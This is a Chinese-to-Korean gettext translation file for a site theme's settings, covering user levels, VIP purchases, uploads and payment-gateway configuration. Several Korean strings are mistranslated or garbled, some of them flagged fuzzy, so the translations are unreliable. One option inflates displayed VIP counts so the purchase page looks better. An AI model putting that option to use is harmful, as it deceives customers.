#: Modules/Settings/Normal.php:1589
msgid "重写用户页面规则"
msgstr "사용자 페이지 규칙 다시 작성"

#: Modules/Settings/Normal.php:1590
#, php-format
msgid ""
"如果需要用户页面是%s，则在此处填写%s%s设置完成以后请保存一下固定链接，前端用"
"户需要重新登录"
msgstr ""
"사용자 페이지가  %s 여야하는 경우 여기에  %s  %s을 (를) 입력하십시오. 설정 "
"후 고정 링크를 저장하십시오. 프런트 엔드 사용자는 다시 로그인해야합니다."

#: Modules/Settings/Normal.php:1597
#, fuzzy
#| msgid "是否显示签到"
msgid "是否显示用户描述"
msgstr "로그인 표시 여부"

#: Modules/Settings/Normal.php:1598
#, fuzzy
msgid ""
"经常有人利用用户描述来填写广告和垃圾信息，如果您用不上用户描述，建议关闭"
msgstr ""
"사용자 설명은 광고와 스팸을 채우는 데 자주 사용되므로 사용하지 않는다면 끄시"
"는 것이 좋습니다."

#: Modules/Settings/Normal.php:1634
#, php-format
msgid ""
"普通用户等级设置%s（LV0等级必须设置积分为0，否则新用户没有等级提示，请不要删"
"除或随意改变下面等级的排序，也不要随意在中间插入新的等级，否则可能造成老用户"
"的等级失效。）%s"
msgstr ""
"일반 사용자 레벨 설정  %s (LV0 레벨을 0으로 설정해야합니다. 그렇지 않으면 새 "
"사용자에 대한 레벨 프롬프트가 없습니다. 다음 레벨의 순서를 임의로 삭제하거나 "
"변경하지 말고 중간에 새 레벨을 삽입하지 마십시오. 그렇지 않으면 이전 사용자 "
"레벨이 발생할 수 있습니다. 잘못되었습니다.)  %s"

#: Modules/Settings/Normal.php:1637 Modules/Settings/Normal.php:1683
msgid "添加新等级"
msgstr "새로운 레벨 추가"

#: Modules/Settings/Normal.php:1638 Modules/Settings/Normal.php:1684
msgid "删除等级"
msgstr "레벨 삭제"

#: Modules/Settings/Normal.php:1641 Modules/Settings/Normal.php:1687
msgid "确定要删除这个等级吗？"
msgstr "이 레벨을 삭제 하시겠습니까?"

#: Modules/Settings/Normal.php:1646 Modules/Settings/Normal.php:1692
msgid "该等级的对外名称"
msgstr "클래스의 외부 이름"

#: Modules/Settings/Normal.php:1649 Modules/Settings/Normal.php:1695
#, php-format
msgid "比如 %s 等等"
msgstr "예 :  %s 등"

#: Modules/Settings/Normal.php:1653
msgid "到达此等级需要的积分"
msgstr "이 레벨에 도달하는 데 필요한 포인트"

#: Modules/Settings/Normal.php:1656
#, php-format
msgid "比如 %s 积分，用户会达到此积分便会升级为此等级"
msgstr ""
"예를 들어  %s 포인트, 사용자는이 포인트에 도달 한 후이 레벨로 업그레이드됩니"
"다."

#: Modules/Settings/Normal.php:1660 Modules/Settings/Normal.php:1745
msgid "允许每天下载的次数"
msgstr "하루에 허용되는 다운로드 수"

#: Modules/Settings/Normal.php:1664 Modules/Settings/Normal.php:1749
msgid ""
"为防止有人恶意采集下载资源，可在此处设置允许每天下载的次数。如果当天下载次数"
"达到最大，将不允许再次下载。（如果下载次数大于或等于9999，系统将识别为不限制"
"下载次数）"
msgstr ""
"누군가가 리소스를 악의적으로 수집 및 다운로드하는 것을 방지하기 위해 여기에"
"서 하루에 허용되는 다운로드 수를 설정할 수 있습니다. 당일 다운로드 횟수가 최"
"대치에 도달하면 더 이상 다운로드할 수 없습니다. (다운로드 횟수가 9999보다 크"
"거나 같으면 시스템은 무제한 다운로드로 인식합니다)"

#: Modules/Settings/Normal.php:1670 Modules/Settings/Normal.php:1775
msgid "该等级的权限"
msgstr "권한 수준"

#: Modules/Settings/Normal.php:1680
#, php-format
msgid ""
"付费用户等级设置%s（请不要随意删除或改变下面等级的排序，也不要随意在中间插入"
"新的等级，否则可能造成老用户的等级失效。）%s"
msgstr ""
"유료 사용자 레벨 설정  %s (다음 레벨의 순서를 임의로 삭제하거나 변경하지 마십"
"시오. 중간에 새 레벨을 삽입하지 마십시오. 그렇지 않으면 이전 사용자 레벨이 무"
"효화 될 수 있습니다.)  %s"

#: Modules/Settings/Normal.php:1699
msgid "该等级的对外显示的颜色"
msgstr "레벨의 외부 디스플레이 색상"

#: Modules/Settings/Normal.php:1705
msgid "购买此等级需要支付的费用"
msgstr "이 레벨 구매 비용"

#: Modules/Settings/Normal.php:1710
#, php-format
msgid ""
"比如 %s 元，用户支付了这些费用，便会成为此等级用户，如果设置为0将不允许用户购"
"买"
msgstr ""
"예를 들어  %s 위안, 사용자는이 수수료를 지불 한 후이 레벨의 사용자가됩니다. 0"
"으로 설정하면 사용자는 구매할 수 없습니다."

#: Modules/Settings/Normal.php:1714
msgid "该等级的有效期"
msgstr "레벨의 유효 기간"

#: Modules/Settings/Normal.php:1717
#, php-format
msgid ""
"此处为用户从购买会员到会员过期的时间，比如 %s 天，请直接填写天数的数字，永久"
"有效请填0。"
msgstr ""
"다음은 사용자가 멤버십을 구매 한 시점부터 멤버십 만료까지의 시간입니다 "
"(예 :  %s 일). 일수를 직접 입력하세요. 영구적 인 경우 0을 입력하세요."

#: Modules/Settings/Normal.php:1721
msgid "是否允许查看所有隐藏内容"
msgstr "숨겨진 모든 콘텐츠보기 허용 여부"

#: Modules/Settings/Normal.php:1727 Modules/Settings/Normal.php:1739
#: Modules/Settings/Normal.php:1761 Modules/Settings/Post.php:127
#: Modules/Settings/Post.php:422 Modules/Settings/Post.php:645
msgid "禁止"
msgstr "금지"

#: Modules/Settings/Normal.php:1729
msgid "对文章中隐藏代码包裹起来的内容有效"
msgstr "기사의 숨겨진 코드로 래핑 된 콘텐츠에 효과적"

#: Modules/Settings/Normal.php:1733
msgid "是否允许下载所有资源"
msgstr "모든 리소스를 다운로드 할 수 있는지 여부"

#: Modules/Settings/Normal.php:1741
msgid "将会允许此等级用户免费下载所有文章中设置的下载资源"
msgstr ""
"이 수준의 사용자는 기사에 설정된 모든 다운로드 리소스를 무료로 다운로드 할 "
"수 있습니다."

#: Modules/Settings/Normal.php:1755
msgid "是否允许查看所有付费视频"
msgstr "모든 유료 동영상보기 허용 여부"

#: Modules/Settings/Normal.php:1763
msgid "将会允许此等级用户免费查看所有付费视频内容"
msgstr "이 수준의 사용자는 모든 유료 비디오 콘텐츠를 무료로 볼 수 있습니다."

#: Modules/Settings/Normal.php:1767
msgid "初始人数"
msgstr "초기 번호"

#: Modules/Settings/Normal.php:1771
msgid ""
"新站vip购买页面显示VIP数量太少，这里可以设置一个初始数量，让数据看上去漂亮一"
"些"
msgstr ""
"새 웹 사이트의 VIP 구매 페이지에 VIP의 수가 너무 적습니다. 여기에서 데이터를"
"보다 아름답게 보이도록 초기 번호를 설정할 수 있습니다."

#: Modules/Settings/Normal.php:1782
msgid "自定义权限"
msgstr "사용자 지정 권한"

#: Modules/Settings/Normal.php:1785
#, fuzzy, php-format
msgid ""
"%s在vip购买页面每个等级都会有相应的权限，如果您自己还给了这个等级其他权限，可"
"以在这里自定义，每个权限占一行，比如：%s参与本站线下活动|0%s100天售后服务|0%s"
"其中竖线和后面的0（|0 或|1）代表该等级是否有此权限，0代表无，1代表有%s"
msgstr ""
"%sVIP 구매 페이지에서 각 수준에는 해당 권한이 있습니다. 이 수준에 다른 권한"
"을 부여했다면 여기에서 맞춤설정할 수 있습니다. 각 권한은 다음과 같이 한 줄을 "
"차지합니다. %s 여기에서 오프라인 활동에 참여 (| 0 | 1) 사이트 | | 0 %s 100 "
"일 애프터 서비스는 수직 라인과 공의 뒤에 위치를 0 %s 수준이 권한이 있는지 여"
"부를 나타내고, 0 없음을 나타냅니다 없습니다, 1 예 {4를 나타냅니다 }"

#: Modules/Settings/Normal.php:1814
msgid "投稿及媒体"
msgstr "기고 및 미디어 권한"

#: Modules/Settings/Normal.php:1836
msgid "是否允许用户投稿"
msgstr "사용자의 기여 허용 여부"

#: Modules/Settings/Normal.php:1840
msgid "允许投稿"
msgstr "제출 허용"

#: Modules/Settings/Normal.php:1857
msgid "允许投稿的分类"
msgstr "제출이 허용 된 카테고리"

#: Modules/Settings/Normal.php:1872
msgid "请确保您的分类别名不是中文，否则无法选中，不选择将不显示分类设置的选项"
msgstr ""
"카테고리 별칭이 중국어가 아닌지 확인하십시오. 그렇지 않으면 선택할 수 없습니"
"다. 선택하지 않으면 카테고리 설정이 표시되지 않습니다."

#: Modules/Settings/Normal.php:1877
msgid "默认投稿的分类ID"
msgstr "기본 제출의 카테고리 ID"

#: Modules/Settings/Normal.php:1880
msgid "请直接填写分类ID，不设置则默认投入ID为1的分类中"
msgstr ""
"카테고리 ID를 직접 입력 해주세요. 설정되어 있지 않으면 기본적으로 ID 1로 카테"
"고리에 입력됩니다."

#: Modules/Settings/Normal.php:1887
#, fuzzy, php-format
msgid "允许投稿的%s"
msgstr "제출 허용"

#: Modules/Settings/Normal.php:1902
#, fuzzy, php-format
msgid "请确保您的%s别名不是中文，否则无法选中，不选择将不显示%s设置的选项"
msgstr ""
"카테고리 별칭이 중국어가 아닌지 확인하십시오. 그렇지 않으면 선택할 수 없습니"
"다. 선택하지 않으면 카테고리 설정이 표시되지 않습니다."

#: Modules/Settings/Normal.php:1907
#, fuzzy, php-format
msgid "默认投稿的%sID"
msgstr "기본 제출의 카테고리 ID"

#: Modules/Settings/Normal.php:1910
#, fuzzy, php-format
#| msgid "请直接填写数字，比如%s元"
msgid "请直接填写%sID"
msgstr "숫자를 직접 입력하십시오 (예 :  %s 위안)."

#: Modules/Settings/Normal.php:1922
#, fuzzy
#| msgid "是否允许发布"
msgid "是否允许发布下载"
msgstr "출금 허용 여부"

#: Modules/Settings/Normal.php:1930
msgid "允许发布下载后，用户可以在前端投稿中发布下载资源"
msgstr ""
"다운로드 게시를 허용한 후 사용자는 프론트엔드 기여에 다운로드 리소스를 게시"
"할 수 있습니다."

#: Modules/Settings/Normal.php:1935
msgid "投稿自定义字段设置"
msgstr "제출 사용자 정의 필드 설정"

#: Modules/Settings/Normal.php:1943
#, fuzzy
msgid "投稿中的自定义字段，前端不会显示，需要站长自己写代码去使用自定义字段"
msgstr ""
"제출물의 사용자 정의 필드는 프런트 엔드에 표시되지 않으며 웹마스터는 사용자 "
"정의 필드를 사용하기 위한 코드를 작성해야 합니다."

#: Modules/Settings/Normal.php:1950
msgid "自定义字段{#}"
msgstr "사용자 정의 필드{#}"

#: Modules/Settings/Normal.php:1951
msgid "添加新的自定义字段"
msgstr "새 사용자 정의 필드 추가"

#: Modules/Settings/Normal.php:1952
msgid "删除自定义字段"
msgstr "사용자 정의 필드 삭제"

#: Modules/Settings/Normal.php:1955
msgid "确定要删除这个自定义字段吗？"
msgstr "이 사용자 정의 필드를 삭제 하시겠습니까?"

#: Modules/Settings/Normal.php:1960
msgid "自定义字段名称"
msgstr "사용자 정의 필드 이름"

#: Modules/Settings/Normal.php:1963
#, php-format
msgid "提示用户要设置的是什么，比如：%s水果%s"
msgstr "사용자에게 무엇을 설정할지 묻습니다. 예 :  %s fruit  %s"

#: Modules/Settings/Normal.php:1967
msgid "自定义字段key"
msgstr "맞춤 입력란 키"

#: Modules/Settings/Normal.php:1970
#, php-format
msgid "请使用英文，比如%sfruit_name%s（水果名称）"
msgstr "%sfruit_name  %s (과일 이름)과 같은 영어를 사용하십시오."

#: Modules/Settings/Normal.php:1977
#, php-format
msgid "向用户说明这个选项如何使用，比如：%s请选择您喜欢的水果%s"
msgstr ""
"사용자에게이 옵션을 사용하는 방법 (예 :  %s)을 설명하십시오. 좋아하는 과일을 "
"선택하십시오  %s"

#: Modules/Settings/Normal.php:1996
#, php-format
msgid ""
"如果表单形式选择单选，或者多选，请填写待选值，否则请留空。每组值占一行，推荐"
"使用%sapple=苹果%s这种形式，%sapple%s是存入数据库里的值，%s苹果%s是显示出来给"
"用户看的（英文的值方便查找与管理）。比如：%sapple=苹果%sorange=橘子%s"
msgstr ""
"양식이 단일 선택 또는 다중 선택 인 경우 선택할 값을 입력하고 그렇지 않으면 공"
"백으로 두십시오. 각 값 그룹은 한 줄을 차지합니다.  %sapple = Apple  %s 형식"
"을 사용하는 것이 좋습니다.  %sapple  %s는 데이터베이스에 저장된 값이며  "
"%sapple  %s는 사용자에게 표시됩니다 (영어 값은 쉽게 찾고 관리 할 수 있"
"음). ). 예 :  %sapple = apple  %sorange = orange  %s"

#: Modules/Settings/Normal.php:2000
msgid "媒体设置"
msgstr "미디어 설정"

#: Modules/Settings/Normal.php:2000
msgid "媒体设置全站生效"
msgstr "이 설정은 사이트 전체에 적용됩니다."

#: Modules/Settings/Normal.php:2001
msgid "是否启用webp格式"
msgstr "서클 활성화 여부"

#: Modules/Settings/Normal.php:2005
msgid "启用webp格式图片"
msgstr "webp 형식 그림 사용"

#: Modules/Settings/Normal.php:2006
msgid "禁用webp格式图片"
msgstr "webp 형식 사진 비활성화"

#: Modules/Settings/Normal.php:2009
msgid ""
"webp格式的图片可以大量节省您的宽带，优化网站打开速度。建议开启。如果您使用的"
"远程图片，则不能支持。"
msgstr ""
"webp 형식의 이미지는 대역폭을 많이 절약하고 웹 사이트의 개방 속도를 최적화 "
"할 수 있습니다. 여는 것이 좋습니다. 원격 사진을 사용하는 경우 지원되지 않습니"
"다."

#: Modules/Settings/Normal.php:2013
msgid "图片网址批量替换"
msgstr "이미지 URL 일괄 교체"

#: Modules/Settings/Normal.php:2017 Modules/Settings/Normal.php:2028
msgid "启用裁剪"
msgstr "자르기 활성화"

#: Modules/Settings/Normal.php:2018 Modules/Settings/Normal.php:2029
msgid "禁止裁剪"
msgstr "클리핑 없음"

#: Modules/Settings/Normal.php:2024
msgid "是否允许自动裁剪缩略图"
msgstr "자동 재생 허용 여부"

#: Modules/Settings/Normal.php:2032
msgid ""
"裁剪缩略图可以大量节省您的宽带，优化网站打开速度。建议开启。如果您使用的远程"
"图片，则不能支持。"
msgstr ""
"썸네일을 자르면 대역폭을 많이 절약하고 웹 사이트 열기 속도를 최적화 할 수 있"
"습니다. 여는 것이 좋습니다. 원격 사진을 사용하는 경우 지원되지 않습니다."

#: Modules/Settings/Normal.php:2036
msgid "是否开启懒加载功能"
msgstr "지연로드 사용 여부"

#: Modules/Settings/Normal.php:2037
msgid "此设置全站生效"
msgstr "이 설정은 사이트 전체에 적용됩니다."

#: Modules/Settings/Normal.php:2048
msgid "哪些等级允许上传图片？"
msgstr "사진 업로드가 허용되는 레벨은 무엇입니까?"

#: Modules/Settings/Normal.php:2052
#, fuzzy
#| msgid "这里设置以后，全站生效，选择之后，只有这些等级允许上传文件"
msgid "这里设置以后，全站生效，选择之后，只有这些等级允许上传图片"
msgstr ""
"여기에서 설정하면 전체 사이트가 적용됩니다. 선택 후이 수준에서만 파일 업로드"
"가 허용됩니다."

#: Modules/Settings/Normal.php:2056
msgid "允许上传图片的最大体积"
msgstr "업로드 할 수있는 이미지의 최대 크기"

#: Modules/Settings/Normal.php:2060
msgid ""
"这里设置以后，全站生效，全站的图片体积都不允许超过此范围，单位是M，请直接填写"
"数字"
msgstr ""
"여기에서 설정하면 전체 사이트가 적용되며 전체 사이트 사진의 크기는이 범위를 "
"초과 할 수 없습니다. 단위는 M입니다. 숫자를 직접 입력하십시오."

#: Modules/Settings/Normal.php:2064
msgid "哪些等级允许上传视频？"
msgstr "동영상을 업로드 할 수있는 수준은 무엇입니까?"

#: Modules/Settings/Normal.php:2068
msgid "这里设置以后，全站生效，选择之后，只有这些等级允许上传视频"
msgstr ""
"여기에서 설정하면 전체 사이트가 적용됩니다. 선택 후이 레벨 만 동영상을 업로"
"드 할 수 있습니다."

#: Modules/Settings/Normal.php:2072
msgid "允许上传视频的最大体积"
msgstr "업로드 할 수있는 동영상의 최대 크기"

#: Modules/Settings/Normal.php:2076
msgid ""
"这里设置以后，全站生效，全站上传的视频体积都不允许超过此范围，单位是M，请直接"
"填写数字"
msgstr ""
"여기에서 설정하면 전체 사이트가 적용되며 전체 사이트에서 업로드 한 동영상 볼"
"륨은이 범위를 초과 할 수 없습니다. 단위는 M입니다. 숫자를 직접 입력하세요."

#: Modules/Settings/Normal.php:2080
msgid "哪些等级允许上传文件？"
msgstr "파일 업로드가 허용되는 수준은 무엇입니까?"

#: Modules/Settings/Normal.php:2084
msgid "这里设置以后，全站生效，选择之后，只有这些等级允许上传文件"
msgstr ""
"여기에서 설정하면 전체 사이트가 적용됩니다. 선택 후이 수준에서만 파일 업로드"
"가 허용됩니다."

#: Modules/Settings/Normal.php:2088
msgid "允许上传文件的最大体积"
msgstr "허용되는 최대 파일 크기"

#: Modules/Settings/Normal.php:2092
msgid ""
"这里设置以后，全站生效，全站上传的文件体积都不允许超过此范围，单位是M，请直接"
"填写数字"
msgstr ""
"여기에서 설정하면 전체 사이트가 적용되며 전체 사이트에서 업로드 한 파일 크기"
"는이 범위를 초과 할 수 없습니다. 단위는 M입니다. 숫자를 직접 입력하세요."

#: Modules/Settings/Normal.php:2109
msgid "是否开启paypal"
msgstr "페이팔 열기 여부"

#: Modules/Settings/Normal.php:2117
msgid ""
"第三方支付不能保证100%安全，我们只对接口做兼容，其他请自行负责。请不要使用个"
"人支付接口从事违法活动，否则删除授权，并向公安机关举报"
msgstr ""
"제 3 자 결제는 100 % 보안을 보장 할 수 없으며, 인터페이스와의 호환성 만 만들 "
"수 있습니다. 타인은 책임을 져야합니다."

#: Modules/Settings/Normal.php:2127
msgid "支付宝官方（推荐使用）"
msgstr "알리 페이 공식"

#: Modules/Settings/Normal.php:2128 Modules/Settings/Normal.php:2148
msgid "迅虎支付（支持H5支付）（推荐使用）"
msgstr "Xunhu 지불 (지원 H5 지불)"

#: Modules/Settings/Normal.php:2129 Modules/Settings/Normal.php:2149
msgid "虎皮椒支付"
msgstr "타이거 페퍼 페이"

#: Modules/Settings/Normal.php:2131 Modules/Settings/Normal.php:2152
#: Modules/Settings/OrdersListTable.php:70
#: Modules/Settings/OrdersListTable.php:91
msgid "payjs支付"
msgstr "payjs 결제"

#: Modules/Settings/Normal.php:2132 Modules/Settings/Normal.php:2151
#: Modules/Settings/OrdersListTable.php:64
#: Modules/Settings/OrdersListTable.php:66
#: Modules/Settings/OrdersListTable.php:85
#: Modules/Settings/OrdersListTable.php:87
msgid "xorpay支付"
msgstr "xorpay 지불"

#: Modules/Settings/Normal.php:2133 Modules/Settings/Normal.php:2153
#: Modules/Settings/OrdersListTable.php:72
#: Modules/Settings/OrdersListTable.php:93
msgid "易支付"
msgstr "간편한 결제"

#: Modules/Settings/Normal.php:2147
msgid "微信官方（推荐使用）"
msgstr "공식 WeChat(권장)"

#: Modules/Settings/Normal.php:2162
msgid "支付方式"
msgstr "결제 수단"

#: Modules/Settings/Normal.php:2166
msgid "常规方式"
msgstr "기존 방식"

#: Modules/Settings/Normal.php:2167
msgid "当面付"
msgstr "직접 지불"

#: Modules/Settings/Normal.php:2169
msgid ""
"如果你是支付宝企业账户，推荐使用常规方式，兼容性最好。如果您是个人用户只能选"
"择当面付，当面付支持手机和移动端支付"
msgstr ""
"Alipay 법인 계정이있는 경우 최상의 호환성을 위해 기존 방법을 사용하는 것이 좋"
"습니다. 개인 사용자는 직접 결제 만 선택할 수 있습니다. 직접 결제는 모바일 및 "
"모바일 결제를 지원합니다."

#: Modules/Settings/Normal.php:2171
msgid "支付宝官方支付设置"
msgstr "Alipay 공식 결제 설정"

#: Modules/Settings/Normal.php:2175 Modules/Settings/Normal.php:2485
msgid "APPID"
msgstr "APPID"

#: Modules/Settings/Normal.php:2178
msgid ""
"打开链接： https://open.alipay.com 账户中心->密钥管理->开放平台密钥，填写您支"
"付的应用的APPID"
msgstr ""
"링크를 엽니 다 : https://open.alipay.com 계정 센터-> 키 관리-> 플랫폼 키 열"
"기, 지불 한 애플리케이션의 APPID를 입력합니다."

#: Modules/Settings/Normal.php:2182
msgid "应用私钥"
msgstr "애플리케이션 개인 키"

#: Modules/Settings/Normal.php:2185
msgid "本主题使用的是 RSA2 算法生成的私钥。请使用 RSA2 算法来生成。"
msgstr ""
"이 항목에서는 RSA2 알고리즘에 의해 생성 된 개인 키를 사용합니다. 생성하려면 "
"RSA2 알고리즘을 사용하십시오."

#: Modules/Settings/Normal.php:2189
msgid "支付宝公钥"
msgstr "Alipay 공개 키"

#: Modules/Settings/Normal.php:2193
msgid ""
"请在 账户中心->密钥管理->开放平台密钥，找到添加了支付功能的应用，根据你的加密"
"类型，查看支付宝公钥。"
msgstr ""
"계정 센터-> 키 관리-> 플랫폼 키 열기로 이동하여 결제 기능이있는 애플리케이션"
"을 찾아 암호화 유형에 따라 알리 페이 공개 키를 확인하십시오."

#: Modules/Settings/Normal.php:2198
msgid "API用户名"
msgstr "API 사용자 이름"

#: Modules/Settings/Normal.php:2201
msgid "Paypal官方支付设置"
msgstr "Paypal 공식 결제 설정"

#: Modules/Settings/Normal.php:2205
msgid "API密码"
msgstr "API 비밀번호"

#: Modules/Settings/Normal.php:2214
#, fuzzy
#| msgid "签到"
msgid "签名"
msgstr "출석"

#: Modules/Settings/Normal.php:2223
msgid "是否开启沙箱模式"
msgstr "샌드 박스 모드 활성화 여부"

#: Modules/Settings/Normal.php:2231
#, php-format
msgid ""
"沙箱模式是PayPal支付的测试环境。如果开启沙箱模式，请使用沙箱环境生成的收款账"
"户和付款账户进行测试。%s测试通过后生产环境使用时请关闭沙箱模式，上面PayPal收"
"款Email请设置成真实的收款账户"
msgstr ""
"샌드 박스 모드는 PayPal 결제를위한 테스트 환경입니다. 샌드 박스 모드가 활성"
"화 된 경우 샌드 박스 환경에서 생성 된 수신 계정과 결제 계정을 사용하여 테스트"
"하십시오.  %s 테스트를 통과 한 후 프로덕션 환경에서 사용할 때는 샌드 박스 모"
"드를 닫아주세요. 위의 PayPal 수신 이메일을 실제 수신 계정으로 설정하세요."

#: Modules/Settings/Normal.php:2235
msgid "结算货币"
msgstr "결제 통화"

#: Modules/Settings/Normal.php:2267
msgid "请选择结算货币"
msgstr "결제 통화를 선택하세요"

#: Modules/Settings/Normal.php:2271
msgid "汇率"
msgstr "환율"

#: Modules/Settings/Normal.php:2275
msgid "转换成paypal支付货币的汇率，比如1人民币兑换0.1430美元，这里就填0.1430"
msgstr ""
"1 RMB에서 0.1430 미국 달러와 같은 페이팔 결제 통화의 환율로 변환하여 여기에 "
"0.1430을 입력하십시오."

#: Modules/Settings/Normal.php:2281
msgid "020pay付款方式"
msgstr "020 지불 방법"

#: Modules/Settings/Normal.php:2285 Modules/Settings/Normal.php:2443
msgid "跳转页面支付"
msgstr "점프 페이지 결제"

#: Modules/Settings/Normal.php:2286 Modules/Settings/Normal.php:2444
msgid "二维码支付"
msgstr "QR 코드 결제"

#: Modules/Settings/Normal.php:2289
msgid ""
"二维码支付需要您在020pay支付后台上传您对应的金额二维码，如果没有上传可能会无"
"法回调，如果您之不知道怎么使用，建议直接用跳转模式"
msgstr ""
"QR 코드 결제는 020pay 결제 백그라운드에서 해당 금액의 QR 코드를 업로드해야합"
"니다. 업로드하지 않으면 다시 전화를 걸 수 없을 수 있습니다. 사용 방법을 모르"
"시면 바로 점프 모드를 사용하는 것이 좋습니다."

#: Modules/Settings/Normal.php:2290
msgid "020pay支付设置（支持支付宝和微信）"
msgstr "020pay 결제 설정 (Alipay 및 WeChat 지원)"

#: Modules/Settings/Normal.php:2294
msgid "identification"
msgstr "신분증"

#: Modules/Settings/Normal.php:2297 Modules/Settings/Normal.php:2304
msgid "您的商户唯一标识，注册后在账号设置->API接口信息里获得"
msgstr ""
"계정 설정-> 등록 후 API 인터페이스 정보에서 얻을 수있는 판매자의 고유 식별자"

#: Modules/Settings/Normal.php:2301
msgid "token"
msgstr "토큰"

#: Modules/Settings/Normal.php:2310 Modules/Settings/Normal.php:2423
#: Modules/Settings/Normal.php:2426
msgid "商户ID"
msgstr "판매자 ID"

#: Modules/Settings/Normal.php:2313 Modules/Settings/Normal.php:2321
msgid "请前往后台查看"
msgstr "보려면 배경으로 이동하세요."

#: Modules/Settings/Normal.php:2314
msgid "随便付设置"
msgstr "원하는대로 지불"

#: Modules/Settings/Normal.php:2318
msgid "商户Key"
msgstr "판매자 키"

#: Modules/Settings/Normal.php:2327
msgid "MCHID"
msgstr "MCHID"

#: Modules/Settings/Normal.php:2330
msgid "进入迅虎支付平台，查看商户ID"
msgstr "Xunhu 결제 플랫폼을 입력하고 판매자 ID를 확인하십시오."

#: Modules/Settings/Normal.php:2331
msgid "迅虎支付设置（支持支付宝和微信）"
msgstr "Xunhu 결제 설정 (Alipay 및 WeChat 지원)"

#: Modules/Settings/Normal.php:2335
msgid "PRIVATE KEY"
msgstr "개인 키"

#: Modules/Settings/Normal.php:2338
msgid "进入迅虎支付平台，查看应用PRIVATE KEY"
msgstr "Xunhu 결제 플랫폼에 들어가서 애플리케이션 PRIVATE KEY 확인"

#: Modules/Settings/Normal.php:2342 Modules/Settings/Normal.php:2365
#: Modules/Settings/Normal.php:2388
msgid "支付网关"
msgstr "지불 게이트웨이"

#: Modules/Settings/Normal.php:2346
msgid ""
"不知道这个做什么用的请保持默认即可，默认网关：https://admin.xunhuweb.com。迅"
"虎支付申请地址：<a href=\"https://pay.xunhuweb.com\" "
"target=\"_blank\">https://pay.xunhuweb.com</a>"
msgstr ""
"이것이 무엇인지 모르는 경우 기본 게이트웨이 인 https://admin.xunhuweb.com을 "
"유지하십시오. Xunhu 결제 신청 주소 : <a href=\"https://pay.xunhuweb.com\" "
"target=\"_blank\">https://pay.xunhuweb.com</a>"

#: Modules/Settings/Normal.php:2352 Modules/Settings/Normal.php:2375
msgid "appid"
msgstr "appid"

#: Modules/Settings/Normal.php:2355
msgid "虎皮椒支付宝设置（支持支付宝支付）"
msgstr "타이거 스킨 페퍼 알리 페이 설정 (알리 페이 결제 지원)"

#: Modules/Settings/Normal.php:2359 Modules/Settings/Normal.php:2382
msgid "appsecret"
msgstr "appsecret"

#: Modules/Settings/Normal.php:2369 Modules/Settings/Normal.php:2392
msgid "留空则使用默认网关，如无特别升级，请留空"
msgstr ""
"기본 게이트웨이를 사용하려면 공백으로 두십시오. 특별한 업그레이드가없는 경우 "
"공백으로 두십시오."

#: Modules/Settings/Normal.php:2378
msgid "虎皮椒微信支付设置（支持微信支付）"
msgstr "Hupijiao WeChat 결제 설정 (WeChat 결제 지원)"

#: Modules/Settings/Normal.php:2398
msgid "商户号"
msgstr "사업자 번호"

#: Modules/Settings/Normal.php:2401
msgid "请登录payjs.cn会员中心查看"
msgstr "확인하려면 payjs.cn 회원 센터에 로그인하세요."

#: Modules/Settings/Normal.php:2402
msgid "payjs支付设置（支持支付宝和微信）"
msgstr "payjs 결제 설정 (Alipay 및 WeChat 지원)"

#: Modules/Settings/Normal.php:2406
msgid "密钥"
msgstr "키"

#: Modules/Settings/Normal.php:2409
msgid "请登录payjs.cn会员中心查看。"
msgstr "확인하려면 payjs.cn 회원 센터에 로그인하십시오."

#: Modules/Settings/Normal.php:2418
msgid "您的易支付接口网址"
msgstr "간편 결제 인터페이스 URL"

#: Modules/Settings/Normal.php:2419
msgid "易支付（支持支付宝和微信）"
msgstr "Easy Pay (Alipay 및 WeChat 지원)"

#: Modules/Settings/Normal.php:2430 Modules/Settings/Normal.php:2433
msgid "商户KEY"
msgstr "판매자 KEY"

#: Modules/Settings/Normal.php:2439
msgid "码支付付款方式"
msgstr "지불 방법"

#: Modules/Settings/Normal.php:2447
msgid ""
"二维码支付需要您在码支付后台上传您对应的金额二维码，如果没有上传可能会无法回"
"调，如果您之不知道怎么使用，建议直接用跳转模式"
msgstr ""
"QR 코드 결제는 코드 결제 백그라운드에서 해당 금액의 QR 코드를 업로드해야합니"
"다. 업로드하지 않으면 콜백이 불가능할 수 있습니다. 사용 방법을 모르시면 바로 "
"점프 모드를 이용하시기 바랍니다."

#: Modules/Settings/Normal.php:2448
msgid "码支付设置（支持支付宝和微信）"
msgstr "코드 결제 설정 (Alipay 및 WeChat 지원)"

#: Modules/Settings/Normal.php:2452
msgid "码支付ID"
msgstr "결제 ID"

#: Modules/Settings/Normal.php:2455
msgid "码支付后台->系统设置->码支付ID"
msgstr "코드 결제 배경-> 시스템 설정-> 코드 결제 ID"

#: Modules/Settings/Normal.php:2459
msgid "通讯密钥"
msgstr "통신 키"

#: Modules/Settings/Normal.php:2462
msgid "码支付后台->系统设置->通讯密钥"
msgstr "코드 결제 배경-> 시스템 설정-> 통신 키"

#: Modules/Settings/Normal.php:2468
msgid "aid"
msgstr "도움"

#: Modules/Settings/Normal.php:2471 Modules/Settings/Normal.php:2479
msgid "xorpay 后台，应用配置中查看"
msgstr "xorpay 배경, 애플리케이션 구성에서보기"

#: Modules/Settings/Normal.php:2472
msgid "xorpay支付设置（支持支付宝和微信）"
msgstr "Xorpay 결제 설정 (Alipay 및 WeChat 지원)"

#: Modules/Settings/Normal.php:2476
msgid "app appsecret"
msgstr "앱 appsecret"

#: Modules/Settings/Normal.php:2488 Modules/Settings/Normal.php:2819
msgid "进入微信公众平台（服务号）->左侧菜单最下面->基本配置->开发者ID(AppID)"
msgstr ""
"WeChat 공용 플랫폼 (서비스 계정) 입력-> 왼쪽 메뉴 하단-> 기본 구성-> 개발자 "
"ID (AppID)"

#: Modules/Settings/Normal.php:2489
msgid "微信官方支付设置"
msgstr "WeChat 공식 결제 설정"

#: Modules/Settings/Normal.php:2494
msgid "微信支付商户号"
msgstr "WeChat Pay 판매자 계정"

#: Modules/Settings/Normal.php:2497
msgid "进入微信商户平台->商户信息->基本信息->商户号，"
msgstr "WeChat 판매자 플랫폼-> 판매자 정보-> 기본 정보-> 판매자 ID 입력,"

#: Modules/Settings/Normal.php:2501
msgid "商户支付密钥"
msgstr "판매자 결제 키"

#: Modules/Settings/Normal.php:2504
#, fuzzy
#| msgid "进入微信商户平台->API安全->API密钥"
msgid "进入微信商户平台->API安全->API密钥(v2)"
msgstr "WeChat 판매자 플랫폼-> API 보안-> API 키 입력"

#: Modules/Settings/Normal.php:2513 Modules/Templates/Footer.php:743
#: User/index.php:102
msgid "财富"
